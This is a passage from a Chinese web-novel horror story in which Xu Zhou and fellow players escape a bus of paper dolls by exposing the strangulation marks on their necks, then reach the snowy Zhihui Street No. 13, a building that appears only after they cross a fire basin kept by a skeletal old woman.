故皮肤苍白，故发出纸响。
姚务锦这才从极度的恐惧与失智中回神。
他慢慢地缩回为女人擦水渍的手，手里的纸巾因为拿不稳而跌落在地。
女纸人的嘴唇上涂了一抹殷红，与苍白的皮肤形成鲜明的反差。
如同洁白的雪上滴落了一滴血。
她的嘴巴张开，露出空洞黑暗的口腔。
周围的环境似乎也随着它的变化而变得更加阴森恐怖。
窗外冷风呼啸，树影婆娑，仿佛有无数的鬼魂在暗中窥视。
“咔擦咔擦——”
伴随着纸张的响声，女人盯着姚务锦，问道：“你说，擦不干净？”
“还有你，说擦不掉？”女人用它细长的纸指甲摸了把脸庞，语调尽是玩味。
许舟和姚务锦沉默了。
女人的指甲戳了戳身旁的另一名乘客：“你说，有没有办法去掉水渍。”
那乘客回过头来，阴险地一笑：“当然有。”
“司机，停车！”姚务锦看着两人的互动，愈发觉得接下来有不好的事情要发生，他朝着前排大喊。
司机握紧手中的方向盘，一踩油门，车直直地加速向前。
“你不是说，我们可以下车的吗？”
司机终于理睬姚务锦了。
他用与姚务锦前面两人腔调截然不同的平静语气说道：“那是在开车之前。开车后，哪有中途停下的道理？”
许舟回想起老人口中的故事，若这辆车真是他口中的那辆纸公交车，那么…
许舟看着难以平静的姚务锦，忍不住小声插嘴道：“别说了。你忘了老人的故事了吗？司机也是纸人啊…”
司机的听力似乎异常灵敏，在“咔擦咔擦”声的加持下，他缓缓回头，露出了他那用笔画上去的眼鼻口，说道：“没错，我，也是纸人。”
不仅如此，司机恐怕还是假段漓的纸人父亲。
“我不管，我就要下车！”姚务锦猛地站起来。
司机再度陷入沉默，而公交车以更高的速度在路上飞驰。
“你看看窗外吧！下车了能去哪？”许舟见拦不住姚务锦，再次劝说，“你没发现车外的景象早就变了吗？！”
“车外！？”姚务锦用震惊的眼睛，从车窗上纸圈之间微小的缝隙向外望去。
只见月光依旧轻薄优雅。
然而在这本该是炎炎夏日的星市之中，地上已经覆盖上一层皑皑白雪。
雪上偶有一些小印子，也许是动物留下的脚印。
而路两旁的树木也光秃秃的，更甚，一些雪压弯了树枝的腰。
“怎么回事？”姚务锦发现了反常，“怎么下雪了？！”
而面前的两位纸人似乎暂时被按下了静止键，他们冷冷地目视两人，却又似乎对他们的对话很感兴趣。
“因为我们要去的是花舟家。”许舟已然能心平气和地目视两个纸人，不露怯色。
“花舟家和雪有什么关系？”姚务锦仍然不解。
“网上那条链接，有写事情发生的时间吧？”许舟虽然没看，但她对这里的假段漓描写事件的全面度并不怀疑。
除了段漓自己的家庭背景，其他凡是与花舟有关的事情，这里的假段漓应该都会全力渲染，尽数描写。
“好像有…”姚务锦慢慢地坐下，用恍然大悟的语气道，“应该是一个下雪天。”
“没错，我们现在前往的，恐怕不仅仅是地理意义上的花舟家，还是时间意义上的花舟家。”许舟攥了攥拳头，又松开——在副本里，当年的家会发生什么？
见姚务锦仍在慢慢吸收理解许舟的话语，她又加了一句，肯定而坚决：“这辆纸公交车，带我们回到了花舟和段漓出事的那一天。”
“但现在还没下雪。”姚务锦沉吟。
许舟在车内，不便将手机拿出来看时间，而现在又没有带表，她只好大概估算了下时间，开口道：“没下雪，但也很快要下了。”
姚务锦这个中年大叔已经完全信任许舟，他如梦初醒般点了点头：“所以我们快到了？”
“没错。这满车纸人的场面，应该在我们到达之后，就要结束了。”许舟轻声道。
逻辑分析对姚务锦来说才是最好的安抚。
他不再大吵大闹着要下车，面上难掩欣喜之情。
“对了，你刚刚说的帮我去掉水渍的办法是什么？”姚务锦前的女乘客转了个头，再次问身旁那人。
“很简单，你站起来。”女乘客旁的男人站起。
女纸人见他似乎真有办法，她满心欢喜地起了身。
男纸人向她摆了摆手：“你背对我。”
女纸人高兴地说：“好，谢谢你！”
说罢，她顺着男纸人的话，转过身去。
男纸人低头看着女纸人的后背，端详了一会儿后，叹了口气，却听不见从他口腔里传来的气流声，取而代之的仍是纸与纸碰撞的声音。
“你这片水渍太大了…”男纸人遗憾地说。
“啊？那是去不掉了吗？”女纸人有些难过。
“不，去得掉。”男纸人口吻异常地肯定。
说罢，他缓缓抬手，动作既僵硬又带着一种诡异的流畅。
那苍白如纸的手指轻轻弯曲，关节处发出细微而清脆的声响，宛如古老的纸张在微风中轻轻翻动。
紧接着，让人震悚的事情发生了。
男纸人将手贴到女纸人后背水渍的边缘处，用指甲勾住她的纸衣后，猛烈地在她的后背扯开了一个黑漆漆的大洞。
而后，他顺着水渍
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的边缘，用他的纸手将整一块衣物，连带着女纸人的纸皮肤一起撕下。
“好痛…”女纸人竟然能察觉到痛，她不住哀嚎，“你弄好了吗？”
男纸人安抚自己的纸人同类：“已经去掉了，现在需要做一些后续工作。”
他扭过头来，再次看向姚务锦：“这么大的水渍，既然是这位大叔弄上去的，那这位大叔，总得要付出点什么来弥补，不是吗？”
姚务锦连连摇头：“你你你，想怎么弥补？”
男纸人理所当然地笑道：“自然是，将你背上的同等面积的皮肤和衣服，粘到这位女士身后，以弥补她身上的空缺啊。”
“这怎么行？！”姚务锦用求助的眼神看向他心中的大佬许舟，“我不是纸人，我是活人啊！要是把我背后这么大一块皮肤扯下来，而又不及时就医的话，我可能会死的！”
许舟一言不发，眼睛在女纸人空洞的后背和男纸人的笑容间打了两个转。
怎么办？怎么办？
女纸人这时用很不满的眼神望向姚务锦：“我们是纸人又怎么样？对我们来说，纸人，不过是用纸做的活人。”
“没错，我们鲜活而富有生命力。”周遭的纸人此时齐齐出声，“我们会受伤，会有情绪，会死亡，除了是纸做的之外与你们无异。”
姚务锦见许舟不出声，拉了拉她的书包，却对上许舟一个有把握的一抹笑。
有了！
许舟眼睛滴溜溜地转，用不屑的目光审视女纸人。
“你这是什么眼神？看不起我们？！“女人僵硬地抿了抿她的大红唇。
“你刚刚说，自己是另一种形式的活人？”许舟再次确认，“你们会受伤，会死亡？”
“没错。”女纸人给出了肯定的答复。
“刚刚我身边的大叔说过，如果他的后背上被扯下一块偌大的皮肤，而不及时就医的话可能会死哦～”许舟笑盈盈地说，“你怎么还没死，甚至连伤口都没有？”
以彼之矛，攻彼之盾。
“这…”女纸人沉吟，似乎在思考许舟话语的准确性。
“她背上这个洞，就是她的伤口。”男纸人为女纸人找补，“现在需要大叔的皮肤与她的背粘合，不然她就可能会死。”
许舟一挑眉，自若地说道：“那…你们要不要拉开自己的立领衬衫上的立领，看看自己的死活？”
女纸人不解地扒开了自己的领子，她转头看向男纸人：“帮我看看有什么？”
男纸人大惊，紧接着，他同样扒开了自己的立领。
周遭的纸人看见这一幕，接二连三地扒开了自己的立领。
他们的脖子上，无一不是一道鲜红而又深刻的勒痕。
他们面面相觑，纸脸上散发着一种悲凄而恐慌的凉气。
对一个活人来说，这种程度的勒痕所造成的伤害，会让他们绝无生还的可能。
“想起来了吗？你们，在小段漓的手下诞生之初，就被她画上了这一道勒痕。”许舟不紧不慢地说，“不对，用你们的话来说，你们在诞生之初，就被段漓勒死了。”
104. 不要低头看手机（12）
女纸人难以置信地低下头，苍白的食指摸着自己看不见的勒痕。
其他的纸人乘客亦然。
他们以女纸人为中心，一个接一个地用双手扒拉自己的颈部。
唯有司机，也就是段漓的父亲，仍在一言不发地开着车向前冲刺，不时发出令人发怵的冷笑声。
“既然你们这么想成为人类，那你们就接受自己已死的事实吧。”许舟的话语平缓而有力，每一个字都打击着在场纸人成为真正的活人的心愿。
纸人乘客不再言语，他们保持着扒拉颈部红痕的动作，呆愣地站在原地，如同被按下了静止键。
“为什......”劫后余生的姚务锦似乎迫不及待地发问，被许舟一个眼神摁了回去。
“下雪了。”姚务锦看向窗外，话锋一转，“你太......神了。真的下雪了。”
正如许舟所说，窗外雪花纷纷扬扬，漫天飞舞，仿佛无数轻盈的羽毛从天而降，覆盖了整个世界。
“那就是快到了。”许舟松了一口气。
前方模模糊糊地出现了许多建筑物的影子，在一场夜雪中只能隐隐约约地看到他们的边缘线勾勒出来的轮廓。
“那就是智汇街。”哪怕这只是模糊的轮廓，许舟却轻而易举地将其与自己记忆中的场景重叠。
那浅浅的轮廓离公交车越来越近，越来越近。
直到那灰白的外墙、忽闪忽闪的路灯和年久失修的站牌清晰可见地映入许舟眼帘。
公交车缓缓地停靠在站牌边。
这辆车，没有在任何从临鸢花园到智汇街之间本应出现的站点停留，而是直接从夏日到雪夜，跨越十余年，来到了许舟记忆里的地方。
公交车上发出停站广播，广播声里依旧掺杂着纸张的响声。
“嘎吱...智汇街…到了，下车的乘客……请带齐…嘎吱嘎吱…您的随身物品，从后门下车。”
在许舟和姚务锦从座位上站起之前，司机从他的驾驶位上缓缓起身，理了理自己的衣领，他走到过道上后，方按下了后门的开门键。
在他的纸人眼睛中，许舟似乎在那冰冷的笔画中捕捉到了一丝……柔和？
司机往下拉了拉自己的立领衬衫，露出了干净而苍白的脖子——那上面正如许舟所猜一般，没有红色的勒痕。
“快走吧。”司机催促。
僵住不动的纸人乘客们似乎方才回过神来，他们发出“咔擦”的声响，或向一侧扭动脖子，或活动手腕，如同在做体育运动前的准备活动般唤醒僵硬许久的身体。
“快走！”许舟一声落下，带着姚务锦猛起身，向后门跑去。
纸人乘客们在许舟和姚务锦起身的瞬间完全苏醒，他们一窝蜂地向后门涌去。
当许舟和姚务锦的后脚踩到智汇街街道上柔软的雪地时，被泼上水渍的女纸人的指甲尖距离姚务锦的皮肤仅仅一厘米之遥。
但便在这时，全车的纸人乘客动作再度停滞。
他们消失在了这辆公交车里。
公交车车窗上的一个花圈也消失了。
司机的面貌也变成了正常人的样子。
除了皮肤略微苍白，看不见一丝血色外，已经与常人无异。
许舟细细观察，这人确实就是她记忆中只见过一两回的段漓父亲。
“你接下来，要去哪？”鬼使神差地，许舟隔窗问了一句。
“去接更多和你们一样的人。”司机微微一笑，回身坐在驾驶座上，开着公交车消失在漫漫雪夜。
“是接其他的玩家吧？”姚务锦问身旁目送公交车离去的许舟。
许舟点点头：“应该是吧。”
“但…并不是所有玩家来这，都是坐公交车的。”姚务锦不解，“还有其他交通方式。”
“也许不管是地铁、打车或是其他，这些交通都不过是这辆公交车套了一层皮。表面上是地铁或出租车，但实际上也是这辆公交车所化。”许舟笑着摇摇头，“副本哪有这么多道理。”
——恭喜解锁隐藏剧情“纸人公交车”
——隐藏剧情不计入剧情完成度
“我解锁隐藏剧情了！”姚务锦有些欣喜地说道，“不过为什么不计入剧情完成度啊。”
“不计入也合理。毕竟上车要交出手机，不是所有人都会有旧手机在家的。”许舟挑眉，“达成这隐藏剧情的条件，应该就是保留那台死亡手机。”
死亡手机，也就是那台低头看久了会死的手机。
交出去也可以，但不交出去可以获得隐藏剧情。
姚务锦抬头看了眼离两人最近的那座建筑，上面的蓝色路标有着不少刮痕，是它岁月的象征。
“这里是智汇街…3号。”姚务锦念道。
“花舟的家，智汇街13号…应该就在不远处。”许舟抬腿走去。
许舟抬腿，在斑驳而灰白的建筑老墙之间穿行，姚务锦紧随其后。
对姚务锦来说，他现在还能顺利下车，本就是个奇迹。
虽然已经安全了，但他还是按耐不住好奇：“刚刚在公交车上…你还没回答我的问题。”
许舟弹了弹肩上的落雪：“什么问题？”
“……很多问题。”
许舟：“……”
许舟看了眼右侧建筑的标牌“智汇街4号”，轻声道：“你只有9栋楼的时间。在我们走到13号前都可以问。”
她现在并不介意副本里的普通玩家在除了完成通关任务外获取副本剧情真相，她现在的要事是顺利进入异世界。
姚务锦闻言，更是一秒也不愿意耽搁：“为什么你知道纸人的脖子上勒痕？”
“这是我猜的......结合副本的名字‘不要低头看手机’，车上的事情应该也与此有关。最直白的关联就是我们玩家看手机时颈部逐渐出现的颈纹，最后被段漓勒死。”许舟被姚务锦快速的语气带动，说话也变得飞快，“据此猜测段漓制造的纸人也可能有勒痕。”
“而且他们都穿着立领上衣，除了这是纸人常见的服饰，还可能是为了掩饰什么。”许舟补充道。
“那这么说的话，他们身穿长
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袖长裤，也是因为他们本就来自冬天的智汇街，遵循的是这里的季节！”姚务锦恍然大悟，“那段漓为什么要给他们画勒痕啊？”
“因为这些纸人的诞生都是源自于段漓对父亲的爱，如果我没猜错的话，段漓父亲出车祸时，应该撞到了脖子。因此段漓对颈部执念深重。”
许舟琢磨起车上老者纸人的故事：“段漓要让他们时刻铭记自己的诞生是为了保护她回了魂的纸人父亲。因此她在他们身上画了勒痕为标识，以让他们牢记自己的使命。”
“而这，也是只有纸人司机的脖子上没有勒痕的原因。因为司机就是段漓的纸人父亲，她不会在父亲脖子上画勒痕。”许舟再度抬眸，目光越过飞雪来到建筑标牌，“智汇街7号了，你还有六栋楼的时间。”
“啊？所以段漓只是想在他们身上做标记？”姚务锦仍然有些懵懂，“你当时在车上和纸人说，那勒痕象征着他们的死亡。”
“一旦事物有了自己的灵魂和想法，它的举动就可能偏离灵魂赋予者的初衷。这些纸人被点睛回魂后内心萌发了对成为真人的渴望。”
许舟平静地解释道，“我这么说是打破他们的幻想，让他们一时半会忘记你的存在。”
姚务锦点点头：“所以在他们回忆过来这只是段漓给他们画的标识而非真正的勒痕后，还是开始攻击我们了。”
姚务锦不禁缩了缩肩膀，拍了拍胸膛，安抚自己猛烈跳动的心。
在这突如其来的夏转冬之际，姚务锦仍身着单薄的短袖，更觉背脊发凉：“还好我们跑得快，不然我背上的皮肤可能已经在女纸人身上了。”
“你…”姚务锦看着面色淡然自若的许舟，忍不住问道，“你你你，你不冷吗？”
许舟：“冷。”
“你怎么看起来一点也不冷。”姚务锦双手抱臂取暖。
许舟扫了眼标牌，不咸不淡地说：“现在是智汇街12号，你还有最后一栋楼的时间。”
人狠话不多，字字诛心。
“最后，最后一个问题！”姚务锦急切地说，“你真的是普通玩家吗？我遇到过很多玩家，他们在短时间内都想不到这么多。”
“是。”许舟毫不犹豫地说，“你经历过几个副本？”
“除了这个，还有一个。”姚务锦瑟瑟道。
许舟：“……两个副本能遇到多少人。”
更何况第一个副本通常比较简单。
而现在这个副本至今姚务锦恐怕只认识自称黎心的许舟和廖帆。
“到了。”
跨过一栋楼后，许舟停下了脚步。
“走过了吧？”姚务锦抬眸道。
“没可能。”许舟顺着他的目光看去，“嗯……？！”
“智汇街14号？！”
空无一人的街道上，两人不约而同地说道。
“不可能啊？？？”许舟向后退了几步，看了眼前一栋楼的标牌，“没错啊？前面的是12号。“
在智汇街14号与智汇街12号之间，13号就这么在雪夜中，凭空蒸发了。
105. 不要低头看手机（13）
因为智汇街老旧而又缺乏管理，生活在这的人大多经济状况不佳，楼与楼之间的距离可以说是非常狭窄。
而在智汇街12号与14号之间，只有一条容两人齐肩进入的走道。
而许舟放眼望去，雪花飞舞的街道上，除了身边的姚务锦，只在远处有两人身影。
那两人正缓缓地向许舟的方向靠近。
一人的身影高挑而步伐沉缓，颇有一丝矜贵气质，而另一人时不时摆动手臂，带着若有似无的浮夸。
蓦然，两人身影与许舟记忆中的身影重合。
她默默地从书包取出一顶鸭舌帽，而后摸出一个口罩，对自己进行了武装。
姚务锦微讶：“怎么了...？”
许舟透过口罩的嗓音有些模糊：“我长得很像花舟，不是吗？为了避免引起不必要的误会，不如让其他人看不全我的脸。”
“哦......”姚务锦似懂非懂地说道。
“再说了，副本里被其他人看见脸未必是好事。一些别有用心的人说不定会在现实世界
找上门。”许舟有意无意地把思北组织的行为拿出来鞭尸。
“有道理！”姚务锦大呼，“还是黎心姐懂得多！”
经历了一番生死后，姚务锦对许舟的话语不疑有他。
自称黎心的许舟：“......说了，我比你小。”
姚务锦尴尬地摸了把脸上的赘肉：“忘了忘了。不好意思。”
“我书包好像有一顶保安帽！”姚务锦有些惊喜地说道，“我也戴上。”
说罢，姚务锦从他的随身书包中取出来一顶略小的帽子，他有些艰难地将帽子撑开，戴在自己偏大的头顶：“均码的帽子...尺寸不太对。”
许舟看着他戴上帽子，心里却多打了一剂安定剂。
毕竟...一个人在副本里挡脸同样可能引起猜忌，两个人都这么做的话...
他人对个人的关注度就会降低。
不久，远处的两人已然靠近。
“哇，已经有两个人到了哦。”那个举止浮夸的人不禁感叹。
他的声音被风模糊，但仍被许舟认出。
这人就是许舟不得不挡脸的理由，同时也是她计划里的一环。
“这位男士，这位小姐。”这个人言笑晏晏，“先自我介绍一下，我叫箫云筝。”
“沈霁。”他身边的男人吐字清晰，“下车之后，我遇到了他，这位叫箫云筝的男人。”
“哦......”姚务锦似是松了口气，“我还以为你们原先就认识呢。”
姚务锦自是不希望遇到现实中认识的玩家。
现实中就结识的人关系往往更牢靠。
这便可能威胁到姚务锦的个人安危。
谁知，箫云筝下一秒的话让姚务锦刚送的一口气又憋了回去：“我们确实认识。”
“啊？？？”姚务锦叹气，“我乌鸦嘴了？？？”
“在一个副本中有过来往。”箫云筝对沈霁眨了眨眼睛，“当时我们可是一队的呢。”
沈霁不苟言笑地“嗯”了一声。
“对了，还没问你们的名字呢。”箫云筝笑嘻嘻地问。
姚务锦看了许舟一眼，许舟微不可察地点了点头。
而箫云筝玩味地看着两人的小动作。
许舟只需一眼，便知道他的眼神是什么意思。
箫云筝看出来了，在许舟和姚务锦中，许舟才是主导者。
姚务锦并不关心这么多，他简洁地说道：“我叫姚务锦，是星市的一个保安。”
许舟一言不发地站在原地。
半晌，姚务锦指了指许舟：“这位是黎心，一个大佬。”
“哦？大佬？”箫云筝挑了挑眉，“大佬怎么不说话？还戴着口罩。”
许舟：“......”
能不能不要乱说话！！！
她故意压低嗓音，以不让箫云筝认出自己：“感冒了。”
而后，许舟的目光透过口罩和帽檐之间的间隙看了沈霁一眼。
沈霁心领神会地点了点头。
他一眼就认出了挡脸的许舟。
而由于认识两人的箫云筝在场，再加上在这个副本中，许舟曾经为了对可能在监视在系统演戏，对沈霁放过狠话。
两人默契地没有相认。
要演戏，就在所有人，包括系统面前演全套。
更何况，许舟出现在普通玩家箫云筝面前时，是以“夕望图书馆”药剂师艾拉的身份，现在再被认出来，解释也是个麻烦事。
“感冒了啊？黎心大佬要多多保重身体哦。”箫云筝笑道，“话说，你们都是星市的？”
姚务锦再次瞟了许舟一眼，许舟无语地再次点了点头。
箫云筝笑得更灿烂了。
如果许舟没戴口罩，他一定能看到许舟的黑脸。
粗枝大条的姚务锦给出了肯定的答案：“我和黎心是的。这位沈霁，我就不知道了。”
“我不是。”沈霁淡淡道，“我来自其他城市。”
“好吧。我还以为就我一个人这么惨，不在星市呢。”箫云筝摊了摊手，“花舟过去和现在的家都在星市，我过来还要坐高铁。”
“你那高铁上...”姚务锦试探性地问道。
“全是纸人。”箫云筝气笑了，“车费是手机，但我没给。我给了台模型机。”
“我也是。”沈霁简短地说。
“要不是这位先生也来自星市以外的地方，我都要怀疑我是被什么人用道具拉进来这个副本的了。”箫云筝吐槽道，“而且我和沈霁在副本中偶遇两次的可能性也很小。”
听到箫云筝的话，许舟的唇角在口罩下不禁勾了勾。
箫云筝，可是她花光所有积蓄也要拉进来的人。
还好他和曲心奕来自一个城市，曲心奕恰好动用她的副本人脉找到了他的地址。
而正是发放风扇的宋安乔让许舟知道了有拉人进副本的道具。
进入这个副本前，许舟在买下道具后，联系曲心奕，将道具交给了她，由曲心奕将道具变成了类似风扇一样的小物件，再“无意”交到箫云筝手上。
“不要杯弓蛇影。”沈霁不咸不淡地说道，用别有深意的眼神看了许舟一眼。
许舟连忙“嗯”了两声，表示赞同：“这是很正常的事情。咳咳。”
“感冒了，有点咳嗽。”许舟皮笑肉不笑地说。
沈霁“不在星市”的小谎让箫云筝打消了怀疑。
“话说你们怎么不进去？”他疑惑地问道，“这就是智汇街13号了吧？”
“你可以先进去。”许舟指了指智汇街14号和12号之间那狭窄的空隙。
沈霁看了
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眼两栋楼的标牌号，低低地笑了两声：“对，13号就在里面。”
箫云筝：“？？？”
他在两栋楼之间反复踱步，这才发现这两栋分别是14号和12号，并没有13号。
箫云筝：“......”
箫云筝：“我就不进去了......里面都没人，有人我就进。要不您先进？”
说罢，他看向身旁的沈霁。
“人都到齐了...”一位年迈老妪的声音从那狭窄的缝隙里传来。
众人这才发现，不知道什么时候，一位老妇人静静地站在两栋楼中走道的深处。
经过遥远的距离和大风对嗓音的模糊，老妇人的声音却仍在四人耳中清晰可闻。
她的面前有一个散发着橙色光芒的东西，在这漆黑的走道与街上白茫茫的场景中显得格格不入。
箫云筝一怔，随后干笑道：“真，真能进去啊。”
“你说的，有人你就进。”沈霁没有忘记箫云筝前一刻自己说出来的话。
“......进就进。”箫云筝清了清嗓子，走进这狭窄的走道之中。
“那......我走第二个。”姚务锦的眼睛在许舟和沈霁之间打了两个转，不愿殿后的他三步并作两步向前。
许舟和沈霁面不改色地跟了上去。
他们默契地没有对对方说多一句话。
随着他们缓缓前进，老妇人面前的橙光逐渐向他们靠近。
许舟这才发现，那是一个火盆。
有些生锈的盆子里，正蹿着一簇火苗。
点点雪花落入火中，不仅没有将它熄灭，反而被它所吞噬。
老妇人身材佝偻，身披一件黑色长袍，手拄一根长长的拐杖，在火盆后面站着。
待众人到齐，年迈的妇人声音却中气十足：“来，跨过火盆。”
“为什么...？”箫云筝轻声问道。
“跨过火盆，消除霉运。”老妇人缓缓道。
“前面是什么地方？”许舟确认道。
“智汇街13号。”
许舟沉默了。
姚务锦回过头来，低声问道：“黎心大佬，怎么了吗？”
“鬼害怕明火。”许舟轻声道，“我怀疑，这里的火盆，并不是像现代传统习俗一样寓意着去除霉运。而是...”
“这些火，阻挡了智汇街13号的鬼魂游荡到其他地方。”沈霁接过许舟的话语。
毕竟这里再像，也不是现实世界。
这只是系统让副本设计者设计出来的副本。
其中的事物，也许可以参考现实世界，但决不能完全以现实世界的眼光来度量。
“那怎么办？！”姚务锦有些恐惧。
“没办法。”许舟摇摇头，“不过去，可能连智汇街13号在哪里都见不到。”
姚务锦：“......”
“我先走了。”箫云筝不愧是老手，他率先跨过了火盆。
当他跨过火盆，来到与老妪齐肩的地方时，他的身影消失在众人视野。
姚务锦用求助的眼神看向许舟。
许舟：“......你需要有一点判断能力。要不我先过去？”
姚务锦皱了皱眉，他摇摇头，又点点头：“那黎心...你小心点。”
话音刚落，许舟毫不犹豫地跨过了火盆。
106. 不要低头看手机（14）
跨过火盆的那一刹，老妪藏在长袍帽衫底下的脸被火光映照，跃入许舟的眼帘。
准确来说，老妪没有脸。
那是一具洁白无瑕的骷髅。
眼眶空洞却似乎能洞察万物。
许舟心中顿时了然。
老妪不是人。
因此她一直站在火盆之后，未曾向前半分。
许舟还没来得及记住老妪的骨相，便感受到一股冷气。
这冷气席卷走了她身边的所有，包括左右两侧的智汇街12号和14号，包括身后的火盆、沈霁和姚务锦，也包括眼前的老妪。
他们不约而同地消失在这漫漫寒冬之中。
剩下的，仅有漫天飞舞的雪花，以及一地的厚雪。
许舟想向前走出两步，却发现双腿根深在雪中，半点不得动弹。
半晌，又是一阵冷风袭来。
冷风带来了一栋破旧的居民楼。
它经过风雨的侵蚀，许多地方墙皮剥落，已经失去了往日的鲜艳，变得暗淡而沧桑。
楼前，是一盏昏黄的白炽灯，它发出的光晕勉强照亮了前进的道路。
灯下。
箫云筝向许舟挥了挥手臂：“哟，怎么是大佬先来了？你小弟呢？”
许舟试着抬了抬腿，那钳制住她的感觉已然消失，她顺畅地来到居民楼下。
楼旁蓝色的标牌剐蹭痕迹明显，依稀能让人辨别到上面的字——智汇街13号。
许舟过去的家，到了。
“小弟不敢来。”许舟压低着嗓子，发出如感冒般的低哑嗓音。
“这样嘛。”箫云筝轻笑两声。
“什么小弟？”姚务锦稍胖的身影站着不远处许舟刚刚站过的地方。
箫云筝未语先笑：“这位男士。我们在夸你。”
“夸我什么？”听了他的话，姚务锦更是摸不着头脑。
他抖了抖腿上粘的雪花，走上前来。
“别管他。”许舟出言打断，“他不正经。”
“那谁正经？”箫云筝有些好笑地问。
“我觉得刚刚和你一起走来的那人就比你正经。”许舟一本正经地说道。
“哟。”箫云筝抬眸，“正经人来了。”
沈霁也来到了这片独有智汇街13号的雪地之中。
“谁？”沈霁皱了皱眉。
“夸你。”许舟皮笑肉不笑地说道。
沈霁：“......？”
许舟眼里含着一抹笑，而后转身，摸索起了居民楼下破旧的锈迹斑斑的铁门。
虽然是一扇防盗铁门，但年久失修的它轻轻一推便打开了一个口子，在风中不时发出“哐当哐当”的响声。
“这防盗门，就和没有似的。”箫云筝锐评。
这不免勾起许舟不愉快的回忆，她不禁感慨：“若非如此，当年的夜晚，那一群人怎么能轻易闯入花舟的家？”
听了许舟的话，沈霁不免眸光一暗，像是有什么东西在里面熄灭了一瞬。
“对啊。”姚务锦啧啧摇头，“大家应该都看过网上那条链接吧。”
“这位男士，难道没看过能知道来这？”箫云筝反问。
许舟不免苦笑。
没看过当然能来这。
毕竟她是当事人。
“唉，也是。”姚务锦说，“那个花舟也真是...怎么能这样对待自己的朋友呢。”
“副本里很多东西都经过了加工。”沈霁忍不住插嘴，“再说，我们看到的也只是一面之词。真相未必如此。”
许舟并不吭声，默默地把防盗铁门拉开到足以一人通过的身位大小。
“反正我看不惯花舟。”姚务锦撇撇嘴，“很多人都骂她。”
“不管怎么说，网暴是不对的。”沈霁瞪了他一眼。
“这位男士，”箫云筝收起了他往常的笑容，冷漠地看着姚务锦，“就算花舟做错了事，也不是你们网暴的理由。”
许舟虽然对段漓心有愧疚，但还是默默与姚务锦站开了一定的距离。
姚务锦一时之间也住了嘴。
四人氛围一时有些尴尬和凝滞，许舟率先走进了这栋居民楼中。
楼道里光线昏暗，墙上贴满了各种小广告，有的已经泛黄，有的则是新贴的，五彩斑斓，却又显得杂乱无章。
许舟踏着水泥地，来到楼梯边，回头招呼其他三人。
她的手又一次地碰到了这熟悉的楼梯扶手。
尽管它锈迹斑斑，但每次触摸到它，都能感受到一种莫名的亲切和安心。
“好黑啊。”姚务锦打破了沉默，“能用手机照照吗？”
“......万一待会会遇见与纸人车有关的NPC呢。”沈霁说，“尽量不要让他们发现我们坐车时没交出手机。”
“说不定这有人带了手电筒。”装和沈霁不熟的许舟意有所指。
“黎心大佬，你眼神真好。”沈霁挑了挑眉，如在“四季植物园”副本里一般掏出了一个同款手电筒，“居然猜到了我有手电筒。”
“不愧是大佬。”不知内情的姚务锦真心夸赞。
伴随“啪嗒”一声，手电筒的光瞬间充斥了整个楼道。
“......花舟家在几楼来着？”姚务锦不禁问道。
“4......”
许舟话音未落，便被沈霁打断道：“在406。”
“花舟的邻居段漓呢？”姚务锦再次发问。
“403。”箫云筝讽刺地笑了笑，“这位先生，就这点记性？”
“你什么意思...？！”姚务锦有些恼怒，他抬起了手，似乎想攻击箫云筝。
在他抬手的下一刻，许舟冷冷喊道：“姚务锦，别动手！”
而与此同时，沈霁眼疾手快地抓住了姚务锦稍粗的手腕：“他意思是，你的记性全用来做别的事情了。”
姚务锦这才意识到，沈霁和箫云筝这是在暗讽他只记得网上所谓花舟做过的“错事”，却连门牌号这种关键信息都不记得。
他试着动了动手腕，却发现沈霁的力量远大于他，让他有些狼狈。
“黎心姐...他们...”姚务锦求助似地看向先前自称黎心的许舟。
许舟内心矛盾而挣扎。
直觉告诉她，副本一定对当年的事情进行了一定程度的扭曲与添油加醋。
但她又确确实实对段漓怀抱愧疚之情。
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半晌，她对姚务锦道：“......你少说两句话吧。”
“......行吧。”在许舟这也吃了瘪的姚务锦向回抽了抽手腕，沈霁这才放开了他。
姚务锦小声嘀咕道：“说得那么高尚。如果你们不去看网上扒的那些信息，怎么会知道花舟住哪...”
“你说什么？”沈霁语气带刀，“除了段漓最开始那条链接，我还真没看别的。门牌号也是那条链接里有的。”
“不好意思，这位。”箫云筝对姚务锦的称呼也变了，“这次我还是和沈霁先生一样，没看其他内容，我至今也不知道现在的花舟长什么样。”
“都让你少说两句了。”许舟面不改色地向楼上走去。
怪不得箫云筝没发现长大后的花舟长得和“夕望图书馆”中的药剂师艾拉一模一样，原来是他压根没看花舟照片。
姚务锦彻底噤了声，烦躁地跟着许舟往楼上走去。
走到三楼时，楼上传来窸窸窣窣的动静。
许舟垂眸，压低了脚步声，小心翼翼地向楼上走去。
其余三人效仿。
一时之间，许舟觉得自己一行四人有点像半夜偷溜出门后悄悄回家的孩子。
四楼楼道口，正有三人在窃窃私语。
“谁！”看见许舟四人，为首的女人敏锐地问道。
沈霁的手电筒往上探了探，他把握好角度，没有直射到上面三人的眼睛。
为首的女人长辫垂腰，体态轻盈，眉如新月而又带着锐气，正警惕地看着四人。
女人身旁同样站着两个女生，她们的神情明显比女人要慌乱不少。
“瑶姐，他们是......”其中一名秀丽文雅的女生问道。
“一、二、三、四。”被成为瑶姐的女生眯着眼睛数起了数，“这里刚好有七人，都是玩家吗？”
“三位女士，看来是这样的。”箫云筝笑意盎然，“这副本玩家人数一共是七个人，不是吗？”
姚务锦却神色大变，他慌乱地摇了摇头，扯了扯许舟的书包。
许舟回眸看了他一眼，他对着许舟做了个口型——“廖帆”。
在场七人里，恐只有许舟和姚务锦知道廖帆的存在。
而加上廖帆，在姚务锦的眼中便共有八个“玩家”，超出了进入副本时系统所告知的“7”人。
多出来的第八个人，便是boss阵营的特殊玩家许舟。
“静观其变。”许舟利用了姚务锦不愿引起猜忌的特性，暂时稳住了他。
瑶姐落落大方地说道：“那既然如此，就互相认识一下吧。你们刚刚也听到了，我名字里有瑶字。”
“苏灵妤。”秀丽文雅的女生说道。
“白书圆。”另一个没有存在感的女生说道。
“很荣幸向你们介绍我的名字。”箫云筝用他惯常的语气，“我叫箫云筝。好难得啊，这个副本过了这么久了，还是全员存活呢。”
许舟、沈霁和姚务锦也纷纷说出了自己的名字。
由于许舟和姚务锦戴着帽子，瑶姐多看了他们两眼，但理解地没有多说什么。
“你们是什么人？”漆黑的楼道深处，低沉的声音缓缓传来。
107. 不要低头看手机（15）
沉重的步伐一下下地向七人靠近，几个人都不由自主地向后退了几步。
站在最后的沈霁向墙侧靠了靠，他的身后是高高的楼梯。
在沈霁手电筒的光下，一个老态龙钟的妇人走到了众人眼前。
